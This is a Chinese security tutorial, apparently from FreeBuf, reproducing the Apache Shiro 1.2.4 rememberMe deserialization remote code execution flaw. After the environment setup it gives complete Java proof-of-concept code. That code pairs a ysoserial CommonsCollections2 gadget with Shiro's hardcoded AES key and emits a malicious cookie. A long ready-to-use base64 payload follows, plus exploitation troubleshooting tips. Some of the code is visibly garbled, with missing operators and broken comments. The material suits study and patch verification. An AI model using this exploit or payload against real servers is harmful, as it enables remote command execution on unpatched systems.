【待复审】Apache shiro 1.2.4版本 远程命令执行漏洞详解

本文原创作者:zhujunboabc,本文属FreeBuf原创奖励计划,未经许可禁止转载

搜了一下,发现网上关于apache shiro 1.2.4版本的漏洞整理报告写的过于的简单,或许是大佬们讲的比较专业,我这个小白看不懂的缘故,特地在本地做一次完整的展现。

先从shiro官方获取shiro 1.2.4的源码包,地址:https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4,在里面选择1.2.4版本的shiro源码进行下载。

下载完成之后,解压文件:

1.png

由于是开源项目,需要先配置maven环境,具体环境配置可以百度查看。

解压完成之后,进入目录shiro-shiro-root-1.2.4\samples\web ,由于是maven构建的开源工程,我们需要先将工程转换成war包来部署。

2.png

这里我们需要安装maven,去maven官方网站下载maven,配置maven环境变量,执行mvn -v,如下显示,表明你装好了maven并配置好了环境。

3.png

接下来,对shiro的例子进行转换成一个eclipse项目,cmd进入到shiro-shiro-root-1.2.4\samples\web目录下,执行:mvn eclipse:eclipse

4.png

接下来是漫长的等待(网速较慢),等待到所有的jar包都完成了下载之后,成功的编译成一个eclipse项目

5.png

工程路径下已经生成了eclipse的工程,如图:

6.png

导入工程到eclipse中,报错提示:

7.png

这种情况,通过百度查到解决方法:

1,Right-click on your project, select Maven -> Disable Maven Nature.

2,Open you terminal, go to your project folder and do “mvn eclipse:clean”

3,Right click on your Project and select “Configure -> Convert into Maven Project”

经过如上步骤之后,工程正常编译,无报错

8.png

接下来,我们需要导出一个war包来放到我们tomcat目录下,来启动这个demo。

1,确定pom.xml中配置为war。

9.png

2,右键pom.xml,run as maven install

10.png

运行之后,成功编译

11.png

在工程目录下,可以发现war包已经成功编译:

12.png

修改war包的名称为shiro.war,为了方便工程访问,部署到tomcat(放置到tomcat的webapps目录下,启动tomcat即可)

13.png

启动成功,并访问http://localhost:8080/shiro/

14.png

web访问:

到这里,我们的demo才成功的部署完成。

接下来需要生成payload,通过查看apache官方的说明:

(1)rememberMe cookie

(2)CookieRememberMeManager.java

(3)Base64

(4)AES

(5)加密密钥硬编码

(6)Java serialization

生成payload的方式,就是需要这几个部分,这里我贴一下我的代码供大家参考:

import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.security.Key;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

import ysoserial.payloads.CommonsCollections2;
import ysoserial.payloads.ObjectPayload;

public class ShiroPOC {
	
	private static final byte[] keyBytes = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

	public static void main(String[] args) {
		
		if(args.length!=2) {
			System.out.println("usage: java -jar shiroPoc.jar command pocPath");
		}

		try {

			String className = CommonsCollections2.class.getPackage().getName() +  ".CommonsCollections2";
			
			Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
		    ObjectPayload payload = (ObjectPayload)payloadClass.newInstance();
		    Object object = payload.getObject(args[0]);
		    
		    byte[] objectBytes = toByteArray(object);
		    
		    byte[] objectEncriptBytes = aesEncrypt(objectBytes);
		    System.out.println("加密后:"+objectEncriptBytes.length);
		    
		    String strHex = parseByte2HexStr(objectEncriptBytes);
		    System.out.println("转十六进制后:"+strHex);
		    
		    byte[] hexTobyte = parseHexStr2Byte(strHex);
		    System.out.println("转二进制后:"+hexTobyte);
		    System.out.println(hexTobyte.length);
		    
		    byte[] descBytes = AES_CBC_Decrypt(hexTobyte);
		    System.out.println("解密后:"+new String(descBytes));
		    
		    byte[] byteMerger = byteMerger(getIV(),hexTobyte);
		    System.out.println(new String(byteMerger));
		    System.out.println("byteMerger length: "+byteMerger.length);
		    byte[] base64ByteMerger = Base64.encode(byteMerger);
		    String base64MergerStr = new String(base64ByteMerger).replaceAll("\r|\n", "");
		    System.out.println(base64MergerStr);
		    
		    createFile(args[1], base64MergerStr);
		    
		    byte[] descriptByte = Base64.decode(base64MergerStr);
		    byte[] objectByte = new byte[descriptByte.length - 16];
		    System.arraycopy(descriptByte, 16, objectByte, 0, descriptByte.length - 16); 
		    byte[] decriptObj = AES_CBC_Decrypt(objectByte);
		    System.out.println(new String(decriptObj));
		    
		} catch (Exception e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}
	
	/将16进制转换为二进制 
	  @param hexStr 
	  @return 
	 /  
	public static byte[] parseHexStr2Byte(String hexStr) {  
        if (hexStr.length() < 1)  
                return null;  
        byte[] result = new byte[hexStr.length()/2];  
        for (int i = 0;i< hexStr.length()/2; i++) {  
                int high = Integer.parseInt(hexStr.substring(i2, i2+1), 16);  
                int low = Integer.parseInt(hexStr.substring(i2+1, i2+2), 16);  
                result[i] = (byte) (high  16 + low);  
        }  
        return result;  
	}
	
	/将二进制转换成16进制 
	  @param buf 
	  @return 
	 /  
	public static String parseByte2HexStr(byte buf[]) {  
        StringBuffer sb = new StringBuffer();  
        for (int i = 0; i < buf.length; i++) {  
                String hex = Integer.toHexString(buf[i] & 0xFF);  
                if (hex.length() == 1) {  
                        hex = '0' + hex;  
                }  
                sb.append(hex.toUpperCase());  
        }  
        return sb.toString();  
	}
	
	/ 
      使用AES 算法 加密,默认模式 AES/CBC/PKCS5Padding 
     /  
    public static byte[] aesEncrypt(byte[] str) throws Exception {  
    	
    	Key keySpec = new SecretKeySpec(keyBytes, "AES");
    	IvParameterSpec ivSpec = new IvParameterSpec(getIV());
    	Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    	cipher.init(Cipher.ENCRYPT_MODE,  keySpec, ivSpec);  
    	/
    	  初始化,此方法可以采用三种方式,按服务器要求来添加。
    	  (1)无第三个参数
    	  (2)第三个参数为SecureRandom random = new SecureRandom();中random对象,随机数。(AES不可采用这种方法)
    	  (3)采用此代码中的IVParameterSpec
    	 /
    	byte[] b = cipher.doFinal(str);
    	return b;
    }
    
    public static byte[] AES_CBC_Decrypt(byte[] content){  
        
    	byte[] ret = null;
    	try {
    		IvParameterSpec ivSpec = new IvParameterSpec(getIV());
        	Key key = new SecretKeySpec(keyBytes, "AES");
			Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
			cipher.init(Cipher.DECRYPT_MODE, key, ivSpec);
			ret = cipher.doFinal(content);
		} catch (Exception e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
        return ret;  
    }
    
    public static byte[] getIV() {  
        String iv = "1234567812345678"; //IV length: must be 16 bytes long  
        return iv.getBytes();  
    }  
    
    public static byte[] byteMerger(byte[] byte_1, byte[] byte_2){  
        byte[] byte_3 = new byte[byte_1.length + byte_2.length];  
        System.out.println("arry1长度:"+byte_1.length + "arry1长度:" + byte_2.length);
        System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length);  
        System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length);  
        return byte_3;  
    }
    
    public static void createFile(String path, String str) throws IOException { 
    	
        FileWriter fos = new FileWriter(path);  
        fos.write(str);  
        fos.flush();
        fos.close();  
    }
    
    public static void createFile(String path, byte[] str) throws IOException { 
    	
        FileOutputStream fos = new FileOutputStream(path);  
        fos.write(str);  
        fos.flush();
        fos.close();  
    }
    
    /  
      对象转数组  
      @param obj  
      @return  
     /  
    public static byte[] toByteArray (Object obj) {      
        byte[] bytes = null;      
        ByteArrayOutputStream bos = new ByteArrayOutputStream();      
        try {        
            ObjectOutputStream oos = new ObjectOutputStream(bos);         
            oos.writeObject(obj);        
            oos.flush();         
            bytes = bos.toByteArray();      
            oos.close();         
            bos.close();        
        } catch (IOException ex) {        
            ex.printStackTrace();   
        }      
        return bytes;    
    }
}

运行之后,可以生成payload,如下是跳出计算器的paylaod

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

截图:

16.png

说说自己碰到几个问题:

(1)AES加密

/ 
      使用AES 算法 加密,默认模式 AES/CBC/PKCS5Padding 
     /  
    public static byte[] aesEncrypt(byte[] str) throws Exception {  
    	
    	Key keySpec = new SecretKeySpec(keyBytes, "AES");
    	IvParameterSpec ivSpec = new IvParameterSpec(getIV());
    	Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    	cipher.init(Cipher.ENCRYPT_MODE,  keySpec, ivSpec);  
    	/
    	  初始化,此方法可以采用三种方式,按服务器要求来添加。
    	  (1)无第三个参数
    	  (2)第三个参数为SecureRandom random = new SecureRandom();中random对象,随机数。(AES不可采用这种方法)
    	  (3)采用此代码中的IVParameterSpec
    	 /
    	byte[] b = cipher.doFinal(str);
    	return b;
    }

java加密AES方式,默认使用AES/CBC/PKCS5Padding,但是初始化有三种方式,之前一直使用了前两种方式,导致加密成功之后,tomcat一直报解密失败,通过查看shiro源码,发现采用了第三种方式,如下图:

17.png

(2)tomcat需要添加相应的common-collection包

18.png

文章主要目的是为了说明如何复现漏洞,包括环境搭建和利用java写poc,如果不合大家胃口,欢迎拍砖。

参考文章:

https://www.seebug.org/vuldb/ssvid-92180

https://issues.apache.org/jira/browse/SHIRO-550

本文原创作者:zhujunboabc,本文属FreeBuf原创奖励计划,未经许可禁止转载

无节操黑客为不良搜索公司蝇头小利而入侵其竞争对手并窃取商业机密

猜您喜欢

南昌市第三医院举办2016年PDCA改进案例演讲比赛
安全联盟 2016年度网络诈骗数据报告 http://news.keepred.cn/201701132016.html
网站客服人员应加强安全意识防网络钓鱼
简单三步,轻松实现全员EHS意识教育
THEMILLFUDGEFACTORY SEMINOLEKENNELS
对员工进行安全意识培训是黑客最怕的
企业金融服务平台中子星获考拉基金领投Pre-A轮融资